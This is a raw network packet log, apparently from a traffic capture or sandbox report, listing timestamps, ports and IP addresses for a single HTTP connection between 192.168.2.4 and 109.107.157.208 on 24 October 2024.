Oct 24, 2024 13:27:09.009423018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009427071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009443998 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009485960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009521961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009556055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009588957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009624958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009676933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009679079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009716034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009741068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009752035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009785891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009793043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009820938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009830952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009851933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009855986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009871006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009890079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.009915113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009943962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.009947062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010001898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010004997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010035992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010057926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010071039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010093927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010103941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010133028 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010138988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010154963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010174036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010195017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010207891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010231972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010241985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010271072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010277987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010294914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010313034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010335922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010346889 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010375023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010380030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010410070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010416031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010438919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010451078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010474920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010485888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010514021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010519028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010536909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010552883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010579109 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010584116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010611057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010622978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010646105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010658026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010688066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010696888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010710001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010752916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010838985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010891914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010898113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010926962 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010950089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010962009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.010989904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.010996103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011018991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011029959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011055946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011065006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011090040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011099100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011111975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011133909 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011154890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011167049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011194944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011202097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011218071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011236906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011260033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011271000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011296988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011306047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011353016 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011373043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011373043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011409044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011435032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011445045 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011462927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011487007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011509895 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011521101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011549950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011554003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011580944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011590958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011609077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011650085 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011779070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011832952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011837959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011868000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011892080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011902094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011928082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011936903 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011955976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.011970997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.011995077 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012006044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012032032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012039900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012068033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012073994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012103081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012109041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012125969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012144089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012168884 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012177944 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012200117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012212038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012234926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012245893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012268066 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012283087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012305975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012316942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012341022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012352943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012387037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012394905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012413979 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012419939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012454033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012454987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012470961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012490034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012514114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012547970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012775898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012830973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012841940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012868881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012891054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012903929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012931108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012938023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012960911 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.012972116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.012999058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013006926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013027906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013041973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013063908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013075113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013092041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013108969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013130903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013142109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013175964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013180017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013200045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013210058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013238907 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013243914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013261080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013278961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013302088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013313055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013335943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013345957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013358116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013389111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013403893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013417006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013432980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013448000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013448954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013468981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013484955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013504982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013648033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013664007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013679028 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013695002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013705969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013710976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013726950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013726950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013741970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013758898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013762951 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013784885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013786077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013803005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013818979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013819933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013835907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013851881 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013854027 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013870001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.013874054 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013911963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.013933897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.122908115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.122962952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123023033 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123059034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123114109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123148918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123152971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123184919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123219013 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123231888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123231888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123231888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123231888 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123233080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123233080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123255014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123271942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123289108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123322964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123342991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123357058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123392105 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123425961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123461008 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123514891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123549938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123583078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123615980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123621941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123621941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123621941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123621941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123621941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123621941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123682022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123703957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123703957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123730898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123744965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123788118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123796940 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123826027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123861074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123878956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123888969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123914957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123934984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123951912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.123971939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.123986006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124012947 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124023914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124057055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124077082 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124092102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124110937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124130011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124145031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124169111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124180079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124207973 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124214888 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124248981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124249935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124269962 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124284029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124306917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124317884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124342918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124356031 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124372005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124392986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124412060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124428988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124454021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124463081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124496937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124496937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124535084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124542952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124556065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124577999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124613047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124646902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124648094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124667883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124706030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124707937 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124739885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124758959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124773979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124799013 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124809027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124840021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124844074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124878883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124897003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124900103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124932051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124948025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.124960899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.124988079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125005960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125013113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125049114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125072956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125086069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125108957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125122070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125149965 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125150919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125184059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125188112 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125207901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125219107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.125246048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.125252962 CEST	80	49730	109.107.157.208	192.168.2.4
